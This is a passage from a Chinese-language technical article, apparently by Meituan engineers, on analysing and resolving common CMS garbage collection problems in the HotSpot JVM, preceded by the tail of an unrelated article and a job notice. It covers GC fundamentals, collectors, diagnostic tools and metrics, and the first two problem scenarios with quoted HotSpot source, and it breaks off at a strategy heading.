下沉到卡上执行，这种硬件能在解放 CPU 的同时，也可以降低服务的响应延迟。

作者简介
泽斌，美团点评高级技术专家，2014 年加入美团。

招聘信息
美团基础技术部存储技术中心长期招聘 C/C++、Go、Java 高级 / 资深工程师和技术专家，欢

迎加入美团基础技术部大家庭。欢迎感兴趣的同学发送简历至：tech@meituan.com（邮件标

题注明：基础技术部 - 存储技术中心）
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Java 中 9种常见的CMS	GC问题分析与解决

作者：新宇　湘铭　祥璞

1. 写在前面

| 本文主要针对 Hotspot VM 中“CMS + ParNew”组合的一些使用场景进行总

结。重点通过部分源码对根因进行分析以及对排查方法进行总结，排查过程会省略较

多，另外本文专业术语较多，有一定的阅读门槛，如未介绍清楚，还请自行查阅相

关材料。

| 总字数 2 万左右（不包含代码片段），整体阅读时间约 30min ，文章较长，可以选

择你感兴趣的场景进行研究。

1.1	引言

自 Sun 发布 Java 语言以来，开始使用 GC 技术来进行内存自动管理，避免了手动

管理带来的悬挂指针（Dangling Pointer）问题，很大程度上提升了开发效率，从此 

GC 技术也一举成名。GC 有着非常悠久的历史，1960 年有着“Lisp 之父”和“人

工智能之父”之称的 John McCarthy 就在论文中发布了 GC 算法，60 年以来， GC 

技术的发展也突飞猛进，但不管是多么前沿的收集器也都是基于三种基本算法的组合

或应用，也就是说 GC 要解决的根本问题这么多年一直都没有变过。笔者认为，在不

太远的将来， GC 技术依然不会过时，比起日新月异的新技术，GC 这门古典技术更

值得我们学习。

目前，互联网上 Java 的 GC 资料要么是主要讲解理论，要么就是针对单一场景的 

GC 问题进行了剖析，对整个体系总结的资料少之又少。前车之鉴，后事之师，美团

的几位工程师搜集了内部各种 GC 问题的分析文章，并结合个人的理解做了一些总

结，希望能起到“抛砖引玉”的作用，文中若有错误之处，还请大家不吝指正。
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GC 问题处理能力能不能系统性掌握？一些影响因素都是互为因果的问题该怎么分

析？比如一个服务 RT 突然上涨，有 GC 耗时增大、线程 Block 增多、慢查询增多、

CPU 负载高四个表象，到底哪个是诱因？如何判断 GC 有没有问题？使用 CMS 有

哪些常见问题？如何判断根因是什么？如何解决或避免这些问题？阅读完本文，相

信你将会对 CMS GC 的问题处理有一个系统性的认知，更能游刃有余地解决这些问

题，下面就让我们开始吧！

1.2	概览

想要系统性地掌握 GC 问题处理，笔者这里给出一个学习路径，整体文章的框架也是

按照这个结构展开，主要分四大步。

 ● 建立知识体系： 从 JVM 的内存结构到垃圾收集的算法和收集器，学习 GC 的

基础知识，掌握一些常用的 GC 问题分析工具。

 ● 确定评价指标： 了解基本 GC 的评价方法，摸清如何设定独立系统的指标，以

及在业务场景中判断 GC 是否存在问题的手段。

 ● 场景调优实践： 运用掌握的知识和系统评价指标，分析与解决九种 CMS 中常

见 GC 问题场景。

 ● 总结优化经验： 对整体过程做总结并提出笔者的几点建议，同时将总结到的经

验完善到知识体系之中。

2. GC 基础

在正式开始前，先做些简要铺垫，介绍下 JVM 内存划分、收集算法、收集器等常用

概念介绍，基础比较好的同学可以直接跳过这部分。
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2.1	基础概念

 ● GC： GC 本身有三种语义，下文需要根据具体场景带入不同的语义：

 ○ Garbage	Collection：垃圾收集技术，名词。

 ○ Garbage	Collector：垃圾收集器，名词。

 ○ Garbage	Collecting：垃圾收集动作，动词。

 ● Mutator： 生产垃圾的角色，也就是我们的应用程序，垃圾制造者，通过 

Allocator 进行 allocate 和 free。

 ● TLAB： Thread Local Allocation Buffer 的简写，基于 CAS 的独享线程

（Mutator Threads）可以优先将对象分配在 Eden 中的一块内存，因为是 

Java 线程独享的内存区没有锁竞争，所以分配速度更快，每个 TLAB 都是一

个线程独享的。

 ● Card	Table： 中文翻译为卡表，主要是用来标记卡页的状态，每个卡表项对应

一个卡页。当卡页中一个对象引用有写操作时，写屏障将会标记对象所在的卡

表状态改为 dirty，卡表的本质是用来解决跨代引用的问题。具体怎么解决的可

以参考 StackOverflow 上的这个问题 how-actually-card-table-and-writ-

er-barrier-works，或者研读一下 cardTableRS.app 中的源码。

2.2	JVM	内存划分

从 JCP（Java Community Process）的官网中可以看到，目前 Java 版本最新已经

到了 Java 16，未来的 Java 17 以及现在的 Java 11 和 Java 8 是 LTS 版本，JVM 

规范也在随着迭代在变更，由于本文主要讨论 CMS，此处还是放 Java 8 的内存

结构。

GC 主要工作在 Heap 区和 MetaSpace 区（上图蓝色部分），在 Direct Memory 中，

如果使用的是 DirectByteBuffer，那么在分配内存不够时则是 GC 通过 Cleaner#-

https://stackoverflow.com/questions/19154607/how-actually-card-table-and-writer-barrier-works
https://stackoverflow.com/questions/19154607/how-actually-card-table-and-writer-barrier-works
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clean 间接管理。

任何自动内存管理系统都会面临的步骤：为新对象分配空间，然后收集垃圾对象空

间，下面我们就展开介绍一下这些基础知识。

2.3	分配对象

Java 中对象地址操作主要使用 Unsafe 调用了 C 的 allocate 和 free 两个方法，分

配方法有两种：

 ● 空闲链表（free	list）： 通过额外的存储记录空闲的地址，将随机 IO 变为顺序 

IO，但带来了额外的空间消耗。

 ● 碰撞指针（bump	pointer）： 通过一个指针作为分界点，需要分配内存时，仅

需把指针往空闲的一端移动与对象大小相等的距离，分配效率较高，但使用场

景有限。

2.4	收集对象

2.4.1	识别垃圾

 ● 引用计数法（Reference	Counting）： 对每个对象的引用进行计数，每当有

一个地方引用它时计数器 +1、引用失效则 -1，引用的计数放到对象头中，大

于 0 的对象被认为是存活对象。虽然循环引用的问题可通过 Recycler 算法解

决，但是在多线程环境下，引用计数变更也要进行昂贵的同步操作，性能较

低，早期的编程语言会采用此算法。

 ● 可达性分析，又称引用链法（Tracing	GC）： 从 GC Root 开始进行对象搜索，

可以被搜索到的对象即为可达对象，此时还不足以判断对象是否存活 / 死亡，

需要经过多次标记才能更加准确地确定，整个连通图之外的对象便可以作为垃

圾被回收掉。目前 Java 中主流的虚拟机均采用此算法。

备注：引用计数法是可以处理循环引用问题的，下次面试时不要再这么说啦 ~ ~
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2.4.2	收集算法

自从有自动内存管理出现之时就有的一些收集算法，不同的收集器也是在不同场景下

进行组合。

 ● Mark-Sweep（标记 -清除）： 回收过程主要分为两个阶段，第一阶段为追踪

（Tracing）阶段，即从 GC Root 开始遍历对象图，并标记（Mark）所遇到的

每个对象，第二阶段为清除（Sweep）阶段，即回收器检查堆中每一个对象，

并将所有未被标记的对象进行回收，整个过程不会发生对象移动。整个算法在

不同的实现中会使用三色抽象（Tricolour Abstraction）、位图标记（BitMap）

等技术来提高算法的效率，存活对象较多时较高效。

 ● Mark-Compact	（标记 -整理）： 这个算法的主要目的就是解决在非移动式回

收器中都会存在的碎片化问题，也分为两个阶段，第一阶段与 Mark-Sweep 

类似，第二阶段则会对存活对象按照整理顺序（Compaction Order）进行整

理。主要实现有双指针（Two-Finger）回收算法、滑动回收（Lisp2）算法和

引线整理（Threaded Compaction）算法等。

 ● Copying（复制）： 将空间分为两个大小相同的 From 和 To 两个半区，同一时

间只会使用其中一个，每次进行回收时将一个半区的存活对象通过复制的方式

转移到另一个半区。有递归（Robert R. Fenichel 和 Jerome C. Yochelson

提出）和迭代（Cheney 提出）算法，以及解决了前两者递归栈、缓存行等问

题的近似优先搜索算法。复制算法可以通过碰撞指针的方式进行快速地分配内

存，但是也存在着空间利用率不高的缺点，另外就是存活对象比较大时复制的

成本比较高。

三种算法在是否移动对象、空间和时间方面的一些对比，假设存活对象数量为 *L*、

堆空间大小为 *H*，则：
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把 mark、sweep、compaction、copying 这几种动作的耗时放在一起看，大致有

这样的关系：

虽然 compaction 与 copying 都涉及移动对象，但取决于具体算法，compaction 可

能要先计算一次对象的目标地址，然后修正指针，最后再移动对象。copying 则可以

把这几件事情合为一体来做，所以可以快一些。另外，还需要留意 GC 带来的开销不

能只看 Collector 的耗时，还得看 Allocator 。如果能保证内存没碎片，分配就可以

用 pointer bumping 方式，只需要挪一个指针就完成了分配，非常快。而如果内存

有碎片就得用 freelist 之类的方式管理，分配速度通常会慢一些。

2.5	收集器

目前在 Hotspot VM 中主要有分代收集和分区收集两大类，具体可以看下面的这个

图，不过未来会逐渐向分区收集发展。在美团内部，有部分业务尝试用了 ZGC（感兴

趣的同学可以学习下这篇文章 新一代垃圾回收器 ZGC 的探索与实践），其余基本都

停留在 CMS 和 G1 上。另外在 JDK11 后提供了一个不执行任何垃圾回收动作的回

收器 Epsilon（A No-Op Garbage Collector）用作性能分析。另外一个就是 Azul 

的 Zing JVM，其 C4（Concurrent Continuously Compacting Collector）收集器

也在业内有一定的影响力。

https://tech.meituan.com/2020/08/06/new-zgc-practice-in-meituan.html
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备注：值得一提的是，早些年国内 GC 技术的布道者 RednaxelaFX （江湖人称 R 

大）也曾就职于 Azul，本文的一部分材料也参考了他的一些文章。

2.5.1	分代收集器

 ● ParNew： 一款多线程的收集器，采用复制算法，主要工作在 Young 区，可

以通过 -XX:ParallelGCThreads 参数来控制收集的线程数，整个过程都是 

STW 的，常与 CMS 组合使用。

 ● CMS： 以获取最短回收停顿时间为目标，采用“标记 - 清除”算法，分 4 大

步进行垃圾收集，其中初始标记和重新标记会 STW ，多数应用于互联网站

或者 B/S 系统的服务器端上，JDK9 被标记弃用，JDK14 被删除，详情可见 

JEP 363。

2.5.2	分区收集器

 ● G1： 一种服务器端的垃圾收集器，应用在多处理器和大容量内存环境中，在实

现高吞吐量的同时，尽可能地满足垃圾收集暂停时间的要求。

 ● ZGC： JDK11 中推出的一款低延迟垃圾回收器，适用于大内存低延迟服务的

内存管理和回收，SPECjbb 2015 基准测试，在 128G 的大堆下，最大停顿

时间才 1.68 ms，停顿时间远胜于 G1 和 CMS。

 ● Shenandoah： 由 Red Hat 的 一 个 团 队 负 责 开 发， 与 G1 类 似， 基 于 

Region 设计的垃圾收集器，但不需要 Remember Set 或者 Card Table 来

记录跨 Region 引用，停顿时间和堆的大小没有任何关系。停顿时间与 ZGC 

接近，下图为与 CMS 和 G1 等收集器的 benchmark。

https://openjdk.java.net/jeps/363
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2.5.3	常用收集器

目前使用最多的是 CMS 和 G1 收集器，二者都有分代的概念，主要内存结构

如下：

2.5.4	其他收集器

以上仅列出常见收集器，除此之外还有很多，如 Metronome、Stopless、Stac-

cato、Chicken、Clover 等实时回收器，Sapphire、Compressor、Pauseless 等

并发复制 / 整理回收器，Doligez-Leroy-Conthier 等标记整理回收器，由于篇幅原

因，不在此一一介绍。
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2.6	常用工具

工欲善其事，必先利其器，此处列出一些笔者常用的工具，具体情况大家可以自由选

择，本文的问题都是使用这些工具来定位和分析的。

2.6.1	命令行终端

 ● 标准终端类：jps、jinfo、jstat、jstack、jmap

 ● 功能整合类：jcmd、vjtools、arthas、greys

2.6.2	可视化界面

 ● 简易：JConsole、JVisualvm、HA、GCHisto、GCViewer

 ● 进阶：MAT、JProfiler

命令行推荐 arthas ，可视化界面推荐 JProfiler，此外还有一些在线的平台 gceasy、

heaphero、fastthread ，美团内部的 Scalpel（一款自研的 JVM 问题诊断工具，暂

时未开源）也比较好用。

3. GC 问题判断

在做 GC 问题排查和优化之前，我们需要先来明确下到底是不是 GC 直接导致的问

题，或者应用代码导致的 GC 异常，最终出现问题。

3.1	判断	GC	有没有问题？

3.1.1	设定评价标准

评判 GC 的两个核心指标：

 ● 延迟（Latency）： 也可以理解为最大停顿时间，即垃圾收集过程中一次 STW 

的最长时间，越短越好，一定程度上可以接受频次的增大，GC 技术的主要发

展方向。

 ● 吞吐量（Throughput）： 应 用 系 统 的 生 命 周 期 内， 由 于 GC 线 程 会 占 用 

Mutator 当前可用的 CPU 时钟周期，吞吐量即为 Mutator 有效花费的时间占

https://gceasy.io/
https://heaphero.io/
https://fastthread.io/
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系统总运行时间的百分比，例如系统运行了 100 min，GC 耗时 1 min，则系

统吞吐量为 99%，吞吐量优先的收集器可以接受较长的停顿。

目前各大互联网公司的系统基本都更追求低延时，避免一次 GC 停顿的时间过长对用

户体验造成损失，衡量指标需要结合一下应用服务的 SLA，主要如下两点来判断：

简而言之，即为一次停顿的时间不超过应用服务的	TP9999，GC	的吞吐量不小于	

99.99%。举个例子，假设某个服务 A 的 TP9999 为 80 ms，平均 GC 停顿为 30 

ms，那么该服务的最大停顿时间最好不要超过 80 ms，GC 频次控制在 5 min 以上

一次。如果满足不了，那就需要调优或者通过更多资源来进行并联冗余。（大家可以

先停下来，看看监控平台上面的 gc.meantime 分钟级别指标，如果超过了 6 ms 那

单机 GC 吞吐量就达不到 4 个 9 了。）

备注：除了这两个指标之外还有 Footprint（资源量大小测量）、反应速度等指标，互

联网这种实时系统追求低延迟，而很多嵌入式系统则追求 Footprint。

3.1.2	读懂	GC	Cause

拿到 GC 日志，我们就可以简单分析 GC 情况了，通过一些工具，我们可以比较直

观地看到 Cause 的分布情况，如下图就是使用 gceasy 绘制的图表：
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如上图所示，我们很清晰的就能知道是什么原因引起的 GC，以及每次的时间花费情

况，但是要分析 GC 的问题，先要读懂 GC Cause，即 JVM 什么样的条件下选择

进行 GC 操作，具体 Cause 的分类可以看一下 Hotspot 源码：src/share/vm/gc/

shared/gcCause.hpp 和 src/share/vm/gc/shared/gcCause.cpp 中。

const char* GCCause::to_string(GCCause::Cause cause) {
  switch (cause) {
    case _java_lang_system_gc:
      return "System.gc()";

    case _full_gc_alot:
      return "FullGCAlot";

    case _scavenge_alot:
      return "ScavengeAlot";

    case _allocation_profiler:
      return "Allocation Profiler";

    case _jvmti_force_gc:
      return "JvmtiEnv ForceGarbageCollection";

    case _gc_locker:
      return "GCLocker Initiated GC";

    case _heap_inspection:
      return "Heap Inspection Initiated GC";

    case _heap_dump:
      return "Heap Dump Initiated GC";

    case _wb_young_gc:
      return "WhiteBox Initiated Young GC";

    case _wb_conc_mark:
      return "WhiteBox Initiated Concurrent Mark";

    case _wb_full_gc:
      return "WhiteBox Initiated Full GC";

    case _no_gc:
      return "No GC";

    case _allocation_failure:
      return "Allocation Failure";
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    case _tenured_generation_full:
      return "Tenured Generation Full";

    case _metadata_GC_threshold:
      return "Metadata GC Threshold";

    case _metadata_GC_clear_soft_refs:
      return "Metadata GC Clear Soft References";

    case _cms_generation_full:
      return "CMS Generation Full";

    case _cms_initial_mark:
      return "CMS Initial Mark";

    case _cms_final_remark:
      return "CMS Final Remark";

    case _cms_concurrent_mark:
      return "CMS Concurrent Mark";

    case _old_generation_expanded_on_last_scavenge:
      return "Old Generation Expanded On Last Scavenge";

    case _old_generation_too_full_to_scavenge:
      return "Old Generation Too Full To Scavenge";

    case _adaptive_size_policy:
      return "Ergonomics";

    case _g1_inc_collection_pause:
      return "G1 Evacuation Pause";

    case _g1_humongous_allocation:
      return "G1 Humongous Allocation";

    case _dcmd_gc_run:
      return "Diagnostic Command";

    case _last_gc_cause:
      return "ILLEGAL VALUE - last gc cause - ILLEGAL VALUE";

    default:
      return "unknown GCCause";
  }
  ShouldNotReachHere();
}
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重点需要关注的几个 GC Cause：

 ● System.gc()： 手动触发 GC 操作。

 ● CMS： CMS GC 在执行过程中的一些动作，重点关注 CMS Initial Mark 和 

CMS Final Remark 两个 STW 阶段。

 ● Promotion	Failure： Old 区没有足够的空间分配给 Young 区晋升的对象

（即使总可用内存足够大）。

 ● Concurrent	Mode	Failure： CMS GC 运行期间，Old 区预留的空间不足

以分配给新的对象，此时收集器会发生退化，严重影响 GC 性能，下面的一个

案例即为这种场景。

 ● GCLocker	Initiated	GC： 如果线程执行在 JNI 临界区时，刚好需要进行 

GC，此时 GC Locker 将会阻止 GC 的发生，同时阻止其他线程进入 JNI 临

界区，直到最后一个线程退出临界区时触发一次 GC。

什么时机使用这些 Cause 触发回收，大家可以看一下 CMS 的代码，这里就不讨

论了，具体在 /src/hotspot/share/gc/cms/concurrentMarkSweepGeneration.

cpp 中。

bool CMSCollector::shouldConcurrentCollect() {
  LogTarget(Trace, gc) log;

  if (_full_gc_requested) {
    log.print("CMSCollector: collect because of explicit  gc request 
(or GCLocker)");
    return true;
  }

  FreelistLocker x(this);
  // ----------------------------------------------------------------
--
  // Print out lots of information which affects the initiation of
  // a collection.
  if (log.is_enabled() && stats().valid()) {
    log.print("CMSCollector shouldConcurrentCollect: ");

    LogStream out(log);
    stats().print_on(&out);
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    log.print("time_until_cms_gen_full %3.7f", stats().time_until_cms_
gen_full());
    log.print("free=" SIZE_FORMAT, _cmsGen->free());
    log.print("contiguous_available=" SIZE_FORMAT, _cmsGen->contiguous_
available());
    log.print("promotion_rate=%g", stats().promotion_rate());
    log.print("cms_allocation_rate=%g", stats().cms_allocation_rate());
    log.print("occupancy=%3.7f", _cmsGen->occupancy());
    log.print("initiatingOccupancy=%3.7f", _cmsGen->initiating_
occupancy());
    log.print("cms_time_since_begin=%3.7f", stats().cms_time_since_
begin());
    log.print("cms_time_since_end=%3.7f", stats().cms_time_since_
end());
    log.print("metadata initialized %d", MetaspaceGC::should_concurrent_
collect());
  }
  // ----------------------------------------------------------------
--

  // If the estimated time to complete a cms collection (cms_
duration())
  // is less than the estimated time remaining until the cms 
generation
  // is full, start a collection.
  if (!UseCMSInitiatingOccupancyOnly) {
    if (stats().valid()) {
      if (stats().time_until_cms_start() == 0.0) {
        return true;
      }
    } else {
   
      if (_cmsGen->occupancy() >= _bootstrap_occupancy) {
        log.print(" CMSCollector: collect for bootstrapping 
statistics: occupancy = %f, boot occupancy = %f",
                  _cmsGen->occupancy(), _bootstrap_occupancy);
        return true;
      }
    }
  }
  if (_cmsGen->should_concurrent_collect()) {
    log.print("CMS old gen initiated");
    return true;
  }

  CMSHeap* heap = CMSHeap::heap();
  if (heap->incremental_collection_will_fail(true /* consult_young */)) 
{
    log.print("CMSCollector: collect because incremental collection 
will fail ");
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    return true;
  }

  if (MetaspaceGC::should_concurrent_collect()) {
    log.print("CMSCollector: collect for metadata allocation ");
    return true;
  }

  // CMSTriggerInterval starts a CMS cycle if enough time has passed.
  if (CMSTriggerInterval >= 0) {
    if (CMSTriggerInterval == 0) {
      // Trigger always
      return true;
    }

    // Check the CMS time since begin (we do not check the stats 
validity
    // as we want to be able to trigger the first CMS cycle as well)
    if (stats().cms_time_since_begin() >= (CMSTriggerInterval / ((double) 
MILLIUNITS))) {
      if (stats().valid()) {
        log.print("CMSCollector: collect because of trigger interval 
(time since last begin %3.7f secs)",
                  stats().cms_time_since_begin());
      } else {
        log.print("CMSCollector: collect because of trigger interval 
(first collection)");
      }
      return true;
    }
  }

  return false;
}

3.2	判断是不是GC引发的问题？

到底是结果（现象）还是原因，在一次 GC 问题处理的过程中，如何判断是 GC 导

致的故障，还是系统本身引发 GC 问题。这里继续拿在本文开头提到的一个 Case：

“GC 耗时增大、线程 Block 增多、慢查询增多、CPU 负载高等四个表象，如何判断

哪个是根因？”，笔者这里根据自己的经验大致整理了四种判断方法供参考：

 ● 时序分析： 先发生的事件是根因的概率更大，通过监控手段分析各个指标的

异常时间点，还原事件时间线，如先观察到 CPU 负载高（要有足够的时间 
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Gap），那么整个问题影响链就可能是：CPU 负载高 -> 慢查询增多 -> GC 

耗时增大 -> 线程 Block 增多 -> RT 上涨。

 ● 概率分析： 使用统计概率学，结合历史问题的经验进行推断，由近到远按类型

分析，如过往慢查的问题比较多，那么整个问题影响链就可能是：慢查询增多 

-> GC 耗时增大 -> CPU 负载高 -> 线程 Block 增多 -> RT 上涨。

 ● 实验分析： 通过故障演练等方式对问题现场进行模拟，触发其中部分条件（一

个或多个），观察是否会发生问题，如只触发线程 Block 就会发生问题，那么

整个问题影响链就可能是：线程 Block 增多 -> CPU 负载高 -> 慢查询增多 

-> GC 耗时增大 -> RT 上涨。

 ● 反证分析： 对其中某一表象进行反证分析，即判断表象的发不发生跟结果是否

有相关性，例如我们从整个集群的角度观察到某些节点慢查和 CPU 都正常，

但也出了问题，那么整个问题影响链就可能是：GC 耗时增大 -> 线程 Block 

增多 -> RT 上涨。

不同的根因，后续的分析方法是完全不同的。如果是 CPU 负载高那可能需要用火焰

图看下热点、如果是慢查询增多那可能需要看下 DB 情况、如果是线程 Block 引起那

可能需要看下锁竞争的情况，最后如果各个表象证明都没有问题，那可能 GC 确实存

在问题，可以继续分析 GC 问题了。

3.3	问题分类导读

3.3.1	Mutator	类型

Mutator 的类型根据对象存活时间比例图来看主要分为两种，在弱分代假说中也提到

类似的说法，如下图所示 “Survival Time” 表示对象存活时间，“Rate” 表示对象分

配比例：

 ● IO	交互型： 互联网上目前大部分的服务都属于该类型，例如分布式 RPC、

MQ、HTTP 网关服务等，对内存要求并不大，大部分对象在 TP9999 的时间

内都会死亡， Young 区越大越好。
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 ● MEM	 计算型： 主 要 是 分 布 式 数 据 计 算 Hadoop， 分 布 式 存 储 HBase、

Cassandra，自建的分布式缓存等，对内存要求高，对象存活时间长，Old 区

越大越好。

当然，除了二者之外还有介于两者之间的场景，本篇文章主要讨论第一种情况。对象 

Survival Time 分布图，对我们设置 GC 参数有着非常重要的指导意义，如下图就可

以简单推算分代的边界。

3.3.2	GC	问题分类

笔者选取了九种不同类型的 GC 问题，覆盖了大部分场景，如果有更好的场景，欢迎

在评论区给出。

 ● Unexpected	GC： 意外发生的 GC，实际上不需要发生，我们可以通过一些

手段去避免。

 ○ Space	Shock： 空间震荡问题，参见“场景一：动态扩容引起的空间震荡”。

 ○ Explicit	GC： 显示执行 GC 问题，参见“场景二：显式 GC 的去与留”。

 ● Partial	GC： 部分收集操作的 GC，只对某些分代 / 分区进行回收。

 ○ Young	GC： 分代收集里面的 Young 区收集动作，也可以叫做 Minor GC。

 ■ ParNew： Young GC 频繁，参见“场景四：过早晋升”。

 ○ Old	GC： 分代收集里面的 Old 区收集动作，也可以叫做 Major GC，有

些也会叫做 Full GC，但其实这种叫法是不规范的，在 CMS 发生 Fore-
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ground GC 时才是 Full GC，CMSScavengeBeforeRemark 参数也只是

在 Remark 前触发一次 Young GC。

 ■ CMS： Old GC 频繁，参见“场景五：CMS Old GC 频繁”。

 ■ CMS： Old GC 不频繁但单次耗时大，参见“场景六：单次 CMS Old 

GC 耗时长”。

 ● Full	GC： 全量收集的 GC，对整个堆进行回收，STW 时间会比较长，一旦

发生，影响较大，也可以叫做 Major GC，参见“场景七：内存碎片 & 收集

器退化”。

 ● MetaSpace： 元空间回收引发问题，参见“场景三：MetaSpace 区 OOM”。

 ● Direct	Memory： 直接内存（也可以称作为堆外内存）回收引发问题，参见

“场景八：堆外内存 OOM”。

 ● JNI： 本地 Native 方法引发问题，参见“场景九：JNI 引发的 GC 问题”。

3.3.3	排查难度

一个问题的解决难度跟它的常见程度成反比，大部分我们都可以通过各种搜索引擎找

到类似的问题，然后用同样的手段尝试去解决。当一个问题在各种网站上都找不到相

似的问题时，那么可能会有两种情况，一种这不是一个问题，另一种就是遇到一个隐

藏比较深的问题，遇到这种问题可能就要深入到源码级别去调试了。以下 GC 问题场

景，排查难度从上到下依次递增。

4. 常见场景分析与解决

4.1	场景一：动态扩容引起的空间震荡

4.1.1	现象

服务刚刚启动时	GC	次数较多，最大空间剩余很多但是依然发生 GC，这种情况我们

可以通过观察 GC 日志或者通过监控工具来观察堆的空间变化情况即可。GC Cause 

一般为 Allocation Failure，且在 GC 日志中会观察到经历一次 GC ，堆内各个空间

的大小会被调整，如下图所示：
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4.1.2	原因

在 JVM 的参数中 -Xms 和 -Xmx 设置的不一致，在初始化时只会初始 -Xms 大小

的空间存储信息，每当空间不够用时再向操作系统申请，这样的话必然要进行一次 

GC。具体是通过 ConcurrentMarkSweepGeneration::compute_new_size() 

方法计算新的空间大小：

void ConcurrentMarkSweepGeneration::compute_new_size() {
  assert_locked_or_safepoint(Heap_lock);

  // If incremental collection failed, we just want to expand
  // to the limit.
  if (incremental_collection_failed()) {
    clear_incremental_collection_failed();
    grow_to_reserved();
    return;
  }

  // The heap has been compacted but not reset yet.
  // Any metric such as free() or used() will be incorrect.

  CardGeneration::compute_new_size();

  // Reset again after a possible resizing
  if (did_compact()) {
    cmsSpace()->reset_after_compaction();
  }
}

另外，如果空间剩余很多时也会进行缩容操作，JVM 通过 -XX:MinHeapFreeRa-

tio 和 -XX:MaxHeapFreeRatio 来控制扩容和缩容的比例，调节这两个值也可以

控制伸缩的时机，例如扩容便是使用 GenCollectedHeap::expand_heap_and_

allocate() 来完成的，代码如下：

HeapWord* GenCollectedHeap::expand_heap_and_allocate(size_t size, bool   
is_tlab) {
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  HeapWord* result = NULL;
  if (_old_gen->should_allocate(size, is_tlab)) {
    result = _old_gen->expand_and_allocate(size, is_tlab);
  }
  if (result == NULL) {
    if (_young_gen->should_allocate(size, is_tlab)) {
      result = _young_gen->expand_and_allocate(size, is_tlab);
    }
  }
  assert(result == NULL || is_in_reserved(result), "result not in 
heap");
  return result;
}

整个伸缩的模型理解可以看这个图，当 committed 的空间大小超过了低水位 / 高水

位的大小，capacity 也会随之调整：

4.1.3	策略

定位：观察 CMS GC 触发时间点 Old/MetaSpace 区的 committed 占比是不是一

个固定的值，或者像上文提到的观察总的内存使用率也可以。

解决：尽量将成对出现的空间大小配置参数设置成固定的，如 -Xms 和 -Xmx，-XX:-

MaxNewSize 和 -XX:NewSize，-XX:MetaSpaceSize 和 -XX:MaxMetaSpace-

Size 等。
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4.1.4	小结

一般来说，我们需要保证 Java 虚拟机的堆是稳定的，确保 -Xms 和 -Xmx 设置的是

一个值（即初始值和最大值一致），获得一个稳定的堆，同理在 MetaSpace 区也有类

似的问题。不过在不追求停顿时间的情况下震荡的空间也是有利的，可以动态地伸缩

以节省空间，例如作为富客户端的 Java 应用。

这个问题虽然初级，但是发生的概率还真不小，尤其是在一些规范不太健全的情

况下。

4.2	场景二：显式	GC	的去与留

4.2.1	现象

除了扩容缩容会触发 CMS GC 之外，还有 Old 区达到回收阈值、MetaSpace 空间

不足、Young 区晋升失败、大对象担保失败等几种触发条件，如果这些情况都没有

发生却触发了 GC ？这种情况有可能是代码中手动调用了 System.gc 方法，此时可

以找到 GC 日志中的 GC Cause 确认下。那么这种 GC 到底有没有问题，翻看网上

的一些资料，有人说可以添加 -XX:+DisableExplicitGC 参数来避免这种 GC，

也有人说不能加这个参数，加了就会影响 Native Memory 的回收。先说结论，笔者

这里建议保留 System.gc，那为什么要保留？我们一起来分析下。

4.2.2	原因

找 到 System.gc 在 Hotspot 中 的 源 码， 可 以 发 现 增 加 -XX:+DisableEx-

plicitGC 参 数 后， 这 个 方 法 变 成 了 一 个 空 方 法， 如 果 没 有 加 的 话 便 会 调 用 

Universe::heap()::collect 方法，继续跟进到这个方法中，发现 System.gc 

会引发一次 STW 的 Full GC，对整个堆做收集。

JVM_ENTRY_NO_ENV(void, JVM_GC(void))
  JVMWrapper("JVM_GC");
  if (!DisableExplicitGC) {
    Universe::heap()->collect(GCCause::_java_lang_system_gc);
  }
JVM_END
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void GenCollectedHeap::collect(GCCause::Cause cause) {
  if (cause == GCCause::_wb_young_gc) {
    // Young collection for the WhiteBox API.
    collect(cause, YoungGen);
  } else {
#ifdef ASSERT
  if (cause == GCCause::_scavenge_alot) {
    // Young collection only.
    collect(cause, YoungGen);
  } else {
    // Stop-the-world full collection.
    collect(cause, OldGen);
  }
#else
    // Stop-the-world full collection.
    collect(cause, OldGen);
#endif
  }
}

保留	System.gc

此处补充一个知识点，CMS	GC	共分为	Background	和	Foreground	两种模

式，前者就是我们常规理解中的并发收集，可以不影响正常的业务线程运行，但 

Foreground Collector 却有很大的差异，他会进行一次压缩式 GC。此压缩式 GC 

使用的是跟 Serial Old GC 一样的 Lisp2 算法，其使用 Mark-Compact 来做 Full 

GC，一般称之为 MSC（Mark-Sweep-Compact），它收集的范围是 Java 堆的 

Young 区和 Old 区以及 MetaSpace。由上面的算法章节中我们知道 compact 的代

价是巨大的，那么使用 Foreground Collector 时将会带来非常长的 STW。如果在

应用程序中 System.gc 被频繁调用，那就非常危险了。

去掉	System.gc

如果禁用掉的话就会带来另外一个内存泄漏问题，此时就需要说一下 Direct-

ByteBuffer，它有着零拷贝等特点，被 Netty 等各种 NIO 框架使用，会使用到堆外

内存。堆内存由 JVM 自己管理，堆外内存必须要手动释放，DirectByteBuffer 没有 

Finalizer，它的 Native Memory 的清理工作是通过 sun.misc.Cleaner 自动完成
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的，是一种基于 PhantomReference 的清理工具，比普通的 Finalizer 轻量些。

为 DirectByteBuffer 分配空间过程中会显式调用 System.gc ，希望通过 Full GC 

来强迫已经无用的 DirectByteBuffer 对象释放掉它们关联的 Native Memory，下面

为代码实现：

// These methods should be called whenever direct memory is allocated or
// freed.  They allow the user to control the amount of direct memory
// which a process may access.  All sizes are specified in bytes.
static void reserveMemory(long size) {

    synchronized (Bits.class) {
        if (!memoryLimitSet && VM.isBooted()) {
            maxMemory = VM.maxDirectMemory();
            memoryLimitSet = true;
        }
        if (size <= maxMemory - reservedMemory) {
            reservedMemory += size;
            return;
        }
    }

    System.gc();
    try {
        Thread.sleep(100);
    } catch (InterruptedException x) {
        // Restore interrupt status
        Thread.currentThread().interrupt();
    }
    synchronized (Bits.class) {
        if (reservedMemory + size > maxMemory)
            throw new OutOfMemoryError("Direct buffer memory");
        reservedMemory += size;
    }

}

HotSpot VM 只 会 在 Old GC 的 时 候 才 会 对 Old 中 的 对 象 做 Reference Pro-

cessing，而在 Young GC 时只会对 Young 里的对象做 Reference Processing。

Young 中的 DirectByteBuffer 对象会在 Young GC 时被处理，也就是说，做 CMS 

GC 的 话 会 对 Old 做 Reference Processing， 进 而 能 触 发 Cleaner 对 已 死 的 

DirectByteBuffer 对象做清理工作。但如果很长一段时间里没做过 GC 或者只做了 
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Young GC 的话则不会在 Old 触发 Cleaner 的工作，那么就可能让本来已经死亡，

但已经晋升到 Old 的 DirectByteBuffer 关联的 Native Memory 得不到及时释放。

这几个实现特征使得依赖于 System.gc 触发 GC 来保证 DirectByteMemory 的清

理工作能及时完成。如果打开了 -XX:+DisableExplicitGC，清理工作就可能得

不到及时完成，于是就有发生 Direct Memory 的 OOM。

4.2.3	策略
